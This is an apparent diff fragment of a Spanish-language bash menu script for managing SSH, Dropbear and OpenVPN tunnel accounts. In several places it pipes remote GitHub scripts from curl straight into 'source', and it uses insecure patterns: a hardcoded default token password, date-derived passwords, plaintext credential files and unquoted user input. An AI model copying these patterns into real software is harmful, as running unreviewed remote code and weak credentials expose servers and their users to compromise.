+#echo -e "\033[1;39mPara uso SSL usa la Sintaxis"
+local sslports=`echo -e "${_netCAT}" | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/scpdk1/sslports.txt && cat /etc/scpdk1/sslports.txt`;
+local PORT=$(cat /etc/scpdk1/sslports.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+echo -e " 【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80
+fi
+} || {
+echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe SSL" | pv -qL 80
+#echo -e "\033[1;39m"
+}
+[[ -e /etc/scpdk1/slow/dnsi/server.pub && -e /etc/scpdk1/slow/dnsi/domain_ns ]] && {
+echo -e "【 SLOWDNS KEY >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/server.pub) 】"
+echo -e "【 DOMINIO NS >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/domain_ns) 】"
+echo -e "【 CONEXION REDIRECCIONADA VIA PUERTO ->${cor[4]} $(cat /etc/scpdk1/slow/dnsi/puerto) 】"
+}
+msg -bar
+}
+
+fun_ovpn_onl () {
+for userovpn in `cat /etc/passwd | grep ovpn | awk -F: '{print $1}'`; do
+us=$(cat /etc/openvpn/openvpn-status.log | grep $userovpn | wc -l)
+if [ "$us" != "0" ]; then
+echo "$userovpn"
+fi
+done
+}
+
+
+
+time-us () {
+if [[ -z "${tempoin}" ]];then
+ tempoin="30"
+ tempoin=$(( $tempoin * 60 ))
+ tempoin=$tempoin"s"
+ echo "Default 30 minutos"
+fi
+tempo=$(echo "$tempoin" |sed 's/ //g')
+tmm=$(echo $tempo |sed 's/[0-9]//g')
+if [ "$tmm" = "s" ]; then
+ext=$(echo $tempo |sed 's/[a-z]//g')
+let tempo=$ext*1
+tempo=$tempo"s"
+#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m"
+ext=1
+fi
+if [ "$tmm" = "m" ]; then
+ext=$(echo $tempo |sed 's/[a-z]//g')
+let tempo=$ext*60
+tempo=$tempo"s"
+#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m"
+ext=1
+fi
+if [ "$tmm" = "h" ]; then
+ext=$(echo $tempo |sed 's/[a-z]//g')
+ if [ "$ext" > "23" ]; then
+ ext=$(echo $tempo |sed 's/[a-z]//g')
+ let tempo=$ext*3600
+ tempo=$tempo"s"
+ else
+ let tempo=$ext*3600
+ tempo=$tempo"s"
+ ext=1
+ fi
+#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m"
+fi
+if [ "$tmm" = "d" ]; then
+ext=$(echo $tempo |sed 's/[a-z]//g')
+let tempo=$ext*3600
+tempo=$tempo"s"
+#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m"
+fi
+}
+
+recuva1 () {
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/sd)
+}
+
+function criarusuarioteste(){
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+meu_ip
+[[ -d /etc/usuariosteste ]] || mkdir /etc/usuariosteste
+echo -e " USUARIOS TEMPORALES CREADOS"
+for testus in $(ls /etc/usuariosteste |sort |sed 's/.sh//g')
+do
+echo "$testus"
+done
+printf "\n"
+echo -e "${cor[5]} Ingrese Nombre del Usuario:"; read -p "Digita : " -e -i demo-$(($RANDOM*10))
+nome="demo-$(date | md5sum | head -c10)"
+if [ -z $nome ]; then
+echo -e "${cor[5]} ⚠️ ⚠️${cor[0]}"
+return
+fi
+if cat /etc/passwd |grep $nome: |grep -vi [a-z]$nome |grep -v [0-9]$nome > /dev/null
+then
+echo -e "${cor[5]} ⚠️ USUARIO YA EXISTE, REGISTRE OTRO ⚠️${cor[0]}"
+return
+fi
+msg -bar
+echo -e "${cor[5]} Contraseña para el usuario $nome"
+name=$nome
+pass="$(date | md5sum | head -c10)"
+msg -bar
+echo -e "${cor[5]} Duración para el Usuario $nome"
+echo -e " Use s = segundos, m = minutos, h = horas e d = dias EX: 14s ."
+read -p " VALIDEZ: " tempoin
+echo -e "${cor[5]} LIMITE DE CONEXIONES PARA $name"
+read -p " LIMITE: " limit
+if [[ -z "${limit}" ]];then
+ limit="5"
+ echo "Default 5 Logins"
+fi
+msg -bar
+time-us
+valides=$(date '+%C%y-%m-%d' -d " +$ext days")
+useradd -M -N -s /bin/false $nome -e $valides
+(echo $pass;echo $pass) |passwd $nome 1>/dev/null 2>/dev/null
+chage -I 1 $nome 2> /dev/null
+if [ "$OPENVPN" = "on" ]; then
+open_1 $nome $pass $daysrnf $limit s
+echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP"
+echo -e "${cor[5]} USUARIO : ${cor[4]}$name"
+echo -e "${cor[5]} PASSWD : ${cor[4]}$pass"
+echo -e "${cor[5]} LIMITE : ${cor[4]}$limit"
+echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp"
+msg -bar
+rm -f ./$CLIENT.ovpn > /dev/null
+return
+fi
+echo "#!/bin/bash" > /etc/usuariosteste/$nome.sh
+echo "sleep $tempo" >> /etc/usuariosteste/$nome.sh
+echo "uskk=$(cat /bin/ejecutar/uskill)" >> /etc/usuariosteste/$nome.sh
+echo 'uskk=$(($uskk + 1))' >> /etc/usuariosteste/$nome.sh
+echo 'echo $uskk > /bin/ejecutar/uskill' >> /etc/usuariosteste/$nome.sh
+echo "kill"' $(ps -u '"$nome |awk '{print"' $1'"}') 1>/dev/null 2>/dev/null
+userdel --force $nome
+rm -rf ./$CLIENT.ovpn > /dev/null
+rm -rf /etc/usuariosteste/$nome.sh
+exit" >> /etc/usuariosteste/$nome.sh
+screen -dmS ${nome} bash /etc/usuariosteste/$nome.sh
+#figlet $nome | lolcat
+echo -e "${cor[5]} * Registrar Usuario Temporal *"
+echo -e "${cor[5]} * Puertas Activas en su Servidor *"
+msg -bar
+ports_
+msg -bar
+echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP"
+echo -e "${cor[5]} USUARIO : ${cor[4]}$name"
+echo -e "${cor[5]} PASSWD : ${cor[4]}$pass"
+echo -e "${cor[5]} LIMITE : ${cor[4]}$limit"
+echo -e "${cor[5]} VALIDEZ : ${cor[4]}$tempo"
+msg -bar
+echo "senha: $pass" > $dir_user/$nome
+echo "limite: $limit" >> $dir_user/$nome
+echo "data: $valid" >> $dir_user/$nome
+echo -ne "${cor[2]}"
+fk
+echo -e " Despues de expirar !!!!"
+echo -e " Este usuario sera desconectados y eliminados."
+echo -ne "${cor[2]}"
+return
+}
+#USUARIO TEST DE PRUEBA
+net_meter () {
+net_dir="/etc/scpdk1/userDIR/usr_cnx"
+if [ ! -e "$net_dir" ]; then
+echo -e "${cor[5]} Verificación no está activada, o no existe información"
+msg -bar
+return
+fi
+net_cent="/tmp/porcentagem"
+sed -i '/^$/d' $net_dir
+ [[ ! -e "$net_cent" ]] && touch $net_cent
+ while read cent; do
+ echo "$cent" | awk '{print $2}' >> $net_cent
+ done < $net_dir
+ por_cent=$(paste -sd+ $net_cent | bc)
+ rm $net_cent
+bb=$(printf '%-18s' "USO APROXIMADO")
+aa=$(printf '%-19s' "USUARIOS")
+cc=$(printf '%-18s' "CONSUMO TOTAL")
+msg -bar
+echo -e "\033[1;33m $aa $bb $cc"
+msg -bar
+while read u; do
+b=$(printf '%-18s' "$(($(echo $u | awk '{print $2}')/970)) - MB")
+a=$(printf '%-20s' "$(echo $u | awk '{print $1}')")
+[[ "$por_cent" = "0" || "$por_cent" = "" ]] && por_cent="1"
+pip=$(echo $u | awk '{print $2}')
+[[ "$pip" = "" || "$pip" = "0" ]] && pip="1"
+percent_user=$(($pip*100/$por_cent)) > /dev/null 2>&1
+[[ $percent_user = "0" ]] && percent_user="1"
+c=$(printf '%-18s' "$percent_user %%")
+if [ "$(($(echo $u | awk '{print $2}')/970))" -gt "1" ]; then
+echo -e "\033[1;32m $a \033[1;31m$b \033[1;32m$c"
+fi
+done < $net_dir
+[[ "$(cat $net_dir)" = "" ]] && echo -e "${cor[5]} Verificación no está activada, o no existe información"
+msg -bar
+echo -e "${cor[1]} Controlar Consumo de Cada Usuario Por Separado ${cor[0]}"
+unset net_dir
+#monit_user
+}
+
+drop_kill () {
+user="$1"
+echo "$user $for_kill"
+ for pid in `$(dropbear_pids | grep "$user" | awk '{print $2}')`; do
+ kill $pid
+ done
+}
+
+botusers () {
+unset bot_ini
+PIDGEN=$(echo -e ${_ps}|grep -v grep|grep "ultimatebot")
+killall $PIDGEN > /dev/null 2>&1
+if [[ ! $PIDGEN ]]; then
+ msg -bar
+ echo -ne "\033[1;97m Deseas Activar el Bot Telegram [s/n]: "
+ read bot_ini
+ msg -bar
+[[ $bot_ini = @(s|S|y|Y) ]] && source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/telebot.sh)
+else
+kill -9 $(echo -e ${_ps} | grep "ultimatebot" | grep -v grep | awk '{print $1}') > /dev/null 2>&1 && echo "BOT DETENIDO EXITOSAMENTE"
+kill $(ps x | grep "telebotusr" | grep -v "grep" | awk '{print $1}')
+[[ -e /etc/scpdk1/ShellBot.sh ]] && rm /etc/scpdk1/ShellBot.sh
+[[ -e /etc/scpdk1/ultimatebot ]] && rm /etc/scpdk1/ultimatebot
+[[ -e /etc/scpdk1/bot_codes ]] && rm /etc/scpdk1/bot_codes
+fi
+}
+
+consul_cli () {
+unset select_name namer nameFX
+botusers
+dir_user="/etc/scpdk1/userDIR"
+msg -bar
+select_users 'CONSULTA DATOS DE CLIENTE INDIVIDUAL'
+if [ "$select_name" = "" ]; then
+return
+fi
+namer="$select_name"
+[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer
+[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer
+echo -e "${cor[5]} Que opción va a editar de: $namer"
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m >${cor[3]} Consultar estado de Usuario: $nameFX"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m >${cor[3]} Reiniciar Usuario: $nameFX"
+msg -bar
+read -p " ESCOJE: " _opt
+if [ "$_opt" = "1" ]; then
+unset limite
+data=$(cat $dir_user/$namer | grep "data" | awk '{print $2}')
+data_sec=$(date +%s)
+data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}')
+data_user_sec=$(date +%s --date="$data_user")
+variavel_soma=$(($data_user_sec - $data_sec))
+dias_use=$(($variavel_soma / 86400))
+if [ -z "$limite" ]; then
+limite="null"
+fi
+if [ "$dias_use" -le 0 ]; then
+echo -e " ✭ Eiii, Malas Noticias ☹!!\n Usuario : $nameFX. Esta Caducado ☹ \n!! Contacta Cliente, Para Renobar su Membresia\n" | pv -qL 80
+echo -e "${cor[5]} Usuario $nameFX: VENCIDO EL: $data"
+pkill -u $namer
+else
+limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}')
+date="$dias_use"
+datexp=$(date "+%d/%m/%Y" -d " + $date days")
+valid=$(date '+%C%y-%m-%d' -d " + $date days")
+echo -e " ✭ SU CLIENTE : $namer, ES VALIDO HASTA -> $data ☺"
+echo -e " ✭ CON 【 $limite 】 CONEXIONES SIMULTANEAS!!. "
+echo -e "${cor[5]} RENUEVA EN $dias_use DIAS, DISFRUTE SU ESTANCIA!. "
+pkill -u $namer
+fi
+return
+fi
+if [ "$_opt" = "2" ]; then
+echo -e "${cor[5]} CLIENTE REINICIADO EN SUS CONEXIONES"
+pkill -u $namer
+echo -e " SI QUIERES VOLVER AL MENU, PRESIONA ENTER!."
+read -p " DIGITA 『 ok 』 PARA REINICIAR SERVICIO SSH ▢ TUNNEL : " _ok
+if [ "$_ok" = "ok" ]; then
+echo -ne " \033[1;31m[ ! ] Services dropbear restart"
+service dropbear restart > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services SSH & STUNNEL4 restart"
+service ssh restart > /dev/null 2>&1
+service sshd restart > /dev/null 2>&1
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+service stunnel4 restart > /dev/null 2>&1
+echo "SERVICIOS REINICIADOS EXITOSAMENTE " | pv -qL 50
+fi
+return
+fi
+
+
+}
+
+fun_time_user () {
+declare -A data
+usr_pids_var="./userDIR"
+user_x="$1"
+if [ -e $usr_pids_var/$user_x.pid2 ]; then
+source $usr_pids_var/$user_x.pid2
+[[ ${data[$user_x]} != +([0-9]) ]] && data[$user_x]="0"
+_data_now=$(date +%s)
+time[$user_x]=$((${_data_now} - ${data[$user_x]}))
+else
+time[$user_x]="0"
+fi
+}
+
+fun_us() {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -bar
+echo -e " \033[0;50m ⚜️ CREADOR DE CUENTAS TIPO ⚜️ "
+msg -bar
+echo -e " \033[0;35m[\033[0;32m01\033[0;35m] \033[0;33m >\033[0;33m SSH|DROPBEAR (DEMO) "
+echo -e " \033[0;35m[\033[0;32m02\033[0;35m] \033[0;33m >\033[0;33m SSH|DROPBEAR "
+echo -e " \033[0;35m[\033[0;32m03\033[0;35m] \033[0;33m >\033[0;33m HWID "
+echo -e " \033[0;35m[\033[0;32m04\033[0;35m] \033[0;33m >\033[0;31m TOKEN "
+msg -bar
+echo -e " \033[0;35m[\033[0;32m05\033[0;35m] \033[0;33m >\033[0;31m MODIFICAR CONTRASEÑA TOKEN "
+msg -bar
+echo -e " \033[0;35m[\033[1;32m00\033[0;35m] \033[0;33m ⇦ $(msg -bra "\e[3;33m[ VOLVER ]\e[0m")"
+msg -bar
+selection=$(selection_fun 5)
+case ${selection} in
+0|00)
+return
+;;
+1|01)
+cd /etc/scpdk1/ && criarusuarioteste
+;;
+2|02)
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+function_1
+;;
+3|03)
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+fun_us_hwid
+;;
+4|04)
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+fun_us_tk
+;;
+5)
+[[ ! -e /bin/ejecutar/token ]] && touch /bin/ejecutar/token
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+echo -e "${cor[5]} ⚠️ CLAVE ACTUAL : $(cat < /bin/ejecutar/token) ⚠️${cor[0]}"
+msg -bar
+echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}"
+echo -e ""
+echo -e " SE DEFINIRA SU CONTRASEÑA TOKEN UNICA"
+echo -e " UNA VEZ COLOCADA SE RECOMIENDA NO CAMBIARLA"
+echo ""
+msg -bar
+echo -ne "${cor[5]} ⎚ CONTRASEÑA "; read -p "TOKEN : " passtok
+echo ${passtok} > /bin/ejecutar/token
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+;;
+esac
+}
+
+fun_us_hwid(){
+[[ ! -e /bin/ejecutar/limFIX ]] && {
+echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}"
+echo -e ""
+echo -e " OPCIONAL DEFINE UN LIMITE DE RECONEXIONES"
+echo -e " ESPECIALES PARA APPS O METODOS INESTABLES!!"
+echo -e " SINO ENTIENDES LA FUNCION, PRESIONA ENTER!!"
+echo ""
+msg -bar
+echo -ne "${cor[5]} ⎚ DEFINE TU "
+read -p " LIMITE : " -e -i "1" _limTP
+echo ${_limTP} > /bin/ejecutar/limFIX
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+}
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+echo -ne "${cor[5]} ⎚ NOMBRE DE"; read -p " USUARIO : " name
+tput cuu1 && tput dl1
+[[ -z $name ]] && echo -e "${cor[5]} ⚠️ NO REGISTRO NOMBRE, RETORNANDO ⚠️${cor[0]}" && return
+msg -bar
+echo -e "${cor[5]} INGRESA HWID PARA $name"
+read -p " HWID: " hwid
+if cat /etc/passwd |grep $hwid: |grep -vi [a-z]$hwid |grep -v [0-9]$hwid > /dev/null
+then
+echo -e "${cor[5]} ⚠️ HWID YA EXISTE, REGISTRE OTRO ⚠️${cor[0]}"
+return
+fi
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+[[ -z "${hwid}" ]] && echo " ⚠️ No se Ingreso HWID , RETORNANDO! ⚠️" && return
+msg -bar
+echo -e "${cor[5]} TIEMPO DE DURACION EN DIAS PARA $name"
+read -p " VALIDEZ : " daysrnf
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+[[ -z "${daysrnf}" ]] && daysrnf="2"
+msg -bar
+meu_ip
+valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days")
+datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days")
+useradd -M -s /bin/false $hwid -e $valid
+(echo $hwid; echo $hwid)|passwd $hwid 2>/dev/null
+echo "$hwid 1" >>/root/usuarios.db
+tput cuu1 >&2 && tput dl1 >&2
+#figlet $name | lolcat
+echo -e "${cor[5]} * Puertas Activas en su Servidor *"
+msg -bar
+ports_
+msg -bar
+echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP"
+echo -e "${cor[5]} USUARIO : ${cor[4]}$name"
+echo -e "${cor[5]} HWID : ${cor[4]}$hwid"
+echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp"
+msg -bar
+echo "senha: $name" > $dir_user/$hwid
+echo "limite: HWID" >> $dir_user/$hwid
+echo "data: $valid" >> $dir_user/$hwid
+fkhwid
+msg -bar
+tput cuu1 >&2 && tput dl1 >&2
+echo -ne "${cor[2]}"
+return
+}
+
+fun_us_tk(){
+[[ ! -e /bin/ejecutar/token ]] && {
+echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}"
+echo -e ""
+echo -e " SE DEFINIRA SU CONTRASEÑA TOKEN UNICA"
+echo -e " UNA VEZ COLOCADA NO PODRA SER MANIPULADA"
+echo ""
+msg -bar
+echo -ne "${cor[5]} ⎚ CONTRASEÑA "; read -p "TOKEN : " passtok
+echo ${passtok} > /bin/ejecutar/token
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+}
+
+[[ ! -e /bin/ejecutar/limFIX ]] && {
+echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}"
+echo -e ""
+echo -e " OPCIONAL DEFINE UN LIMITE DE RECONEXIONES"
+echo -e " ESPECIALES PARA APPS O METODOS INESTABLES!!"
+echo -e " SINO ENTIENDES LA FUNCION, PRESIONA ENTER!!"
+echo ""
+msg -bar
+echo -ne "${cor[5]} ⎚ DEFINE TU "
+read -p " LIMITE : " -e -i "1" _limTP
+echo ${_limTP} > /bin/ejecutar/limFIX
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+}
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+echo -ne "${cor[5]} ⎚ NOMBRE DE"; read -p " USUARIO : " name
+tput cuu1 && tput dl1
+[[ -z $name ]] && echo -e "${cor[5]} ⚠️ NO REGISTRO NOMBRE, RETORNANDO ⚠️${cor[0]}" && return
+msg -bar
+echo -e "${cor[5]} INGRESA TOKEN PARA $name"
+read -p " TOKEN: " hwid
+if cat /etc/passwd |grep $hwid: |grep -vi [a-z]$hwid |grep -v [0-9]$hwid > /dev/null
+then
+echo -e "${cor[5]} ⚠️ TOKEN YA EXISTE, REGISTRE OTRO ⚠️${cor[0]}"
+return
+fi
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+[[ -z "${hwid}" ]] && echo " ⚠️ No se Ingreso TOKEN , RETORNANDO! ⚠️" && return
+msg -bar
+echo -e "${cor[5]} TIEMPO DE DURACION EN DIAS PARA $name"
+read -p " VALIDEZ : " daysrnf
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+[[ -z "${daysrnf}" ]] && daysrnf="2"
+msg -bar
+meu_ip
+valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days")
+datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days")
+[[ -e /bin/ejecutar/token ]] && passTOKEN=$(less /bin/ejecutar/token) || passTOKEN="ChumoGHPlus"
+if useradd -M -s /bin/false $hwid -e $valid ; then
+(echo $passTOKEN; echo $passTOKEN)|passwd $hwid 2>/dev/null
+echo "$hwid 1" >>/root/usuarios.db
+clear&&clear
+echo -e "${cor[5]} * Puertas Activas en su Servidor *"
+msg -bar
+ports_
+msg -bar
+echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP"
+echo -e "${cor[5]} USUARIO : ${cor[4]}$name"
+echo -e "${cor[5]} TOKEN : ${cor[4]}$hwid"
+echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp"
+msg -bar
+echo "senha: $name" > $dir_user/$hwid
+echo "limite: TOKEN" >> $dir_user/$hwid
+echo "data: $valid" >> $dir_user/$hwid
+fkhwid
+msg -bar
+else
+echo -e "${cor[5]} ⚠️ ERROR AL REGISTRAR SU TOKEN | REINTENTE ⚠️${cor[0]}"
+fi
+echo -ne "${cor[2]}"
+return
+}
+
+function_1 () {
+echo -e "${cor[4]} ❑ MENU DE CREACION DE USUARIOS ❒ "
+msg -bar
+echo -ne "${cor[5]} > NOMBRE DE"; read -p " USUARIO : " name
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+if [ -z $name ]; then
+echo -e "${cor[5]} ⚠️ NO REGISTRO NOMBRE, RETORNANDO ⚠️${cor[0]}"
+return
+fi
+if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null
+then
+echo -e "${cor[5]} ⚠️ USUARIO YA EXISTE, USE OTRO NOMBRE ⚠️${cor[0]}"
+return
+fi
+msg -bar
+echo -e "${cor[5]} CONTRASEÑA PARA $name"
+read -p " CONTRASEÑA : " pass
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+if [[ -f "${pass}" ]];then
+ pass="$(date | md5sum | head -c10)"
+fi
+msg -bar
+echo -e "${cor[5]} TIEMPO DE DURACION EN DIAS PARA $name"
+read -p " VALIDEZ : " daysrnf
+daysrnf=$(echo -e "$daysrnf" |sed -e 's/[^0-9]//ig')
+number_var $daysrnf
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+if [[ -f "${daysrnf}" ]];then
+ daysrnf="2"
+fi
+msg -bar
+echo -e "${cor[5]} LIMITE DE CONEXIONES PARA $name"
+read -p " LIMITE : " limit
+limit=$(echo -e "$limit" |sed -e 's/[^0-9]//ig')
+number_var $limit
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+if [[ -f "${limit}" ]];then
+ limit="1"
+fi
+msg -bar
+meu_ip
+if [ "$OPENVPN" = "on" ]; then
+open_1 $name $pass $daysrnf $limit s
+msg -bar
+ports_
+msg -bar
+echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP"
+echo -e "${cor[5]} USUARIO : ${cor[4]}$name"
+echo -e "${cor[5]} PASSWD : ${cor[4]}$pass"
+echo -e "${cor[5]} LIMITE : ${cor[4]}$limit"
+echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp"
+msg -bar
+fk
+rm -rf ./$CLIENT.ovpn > /dev/null 2>&1
+rm -f ./$CLIENT.ovpn > /dev/null 2>&1
+msg -bar
+return
+fi
+valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days")
+datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days")
+#echo -ne " USUARIO"
+#(
+if useradd -M -s /bin/false $name -e $valid ; then
+(echo $pass; echo $pass)|passwd $name >/dev/null 2>&1 &
+echo "$name $limit" >>/root/usuarios.db
+tput cuu1 >&2 && tput dl1 >&2
+figlet $name | lolcat
+echo -e "${cor[5]} * Puertas Activas en su Servidor *"
+msg -bar
+ports_
+msg -bar
+echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP"
+echo -e "${cor[5]} USUARIO : ${cor[4]}$name"
+echo -e "${cor[5]} PASSWD : ${cor[4]}$pass"
+echo -e "${cor[5]} LIMITE : ${cor[4]}$limit"
+echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp"
+msg -bar
+echo "senha: $pass" > $dir_user/$name
+echo "limite: $limit" >> $dir_user/$name
+echo "data: $valid" >> $dir_user/$name
+fk
+msg -bar
+tput cuu1 >&2 && tput dl1 >&2
+[[ -e /etc/v2ray/config.json ]] && {
+echo -e "\033[1;41m AÑADIR USUARIO VMESS ?\033[0;33m :v"
+echo -ne "\033[0;32m "
+read -p " Responde [ s | n ] : " -e -i "n" x
+tput cuu1 >&2 && tput dl1 >&2
+tput cuu1 >&2 && tput dl1 >&2
+[[ $x = @(s|S|y|Y) ]] && source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/adduser.sh) $name $daysrnf
+msg -bar
+}
+else
+echo -e "${cor[5]} ⚠️ ERROR AL REGISTRAR SU USUARIO | REINTENTE ⚠️${cor[0]}"
+fi
+echo -ne "${cor[2]}"
+return
+}
+
+function_2 () {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -bar
+echo -e "${cor[4]} ELIMINAR USUARIOS"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m >${cor[3]} ELIMINAR 1 USER"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m >${cor[3]} ELIMINAR TODOS"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m >${cor[3]} ELIMINAR TODOS LOS CADUCADOS"
+msg -bar
+selection=$(selection_fun 3)
+case ${selection} in
+0)
+return
+;;
+1)
+unset select_name namer nameFX
+select_users 'USUARIOS REGISTRADOS'
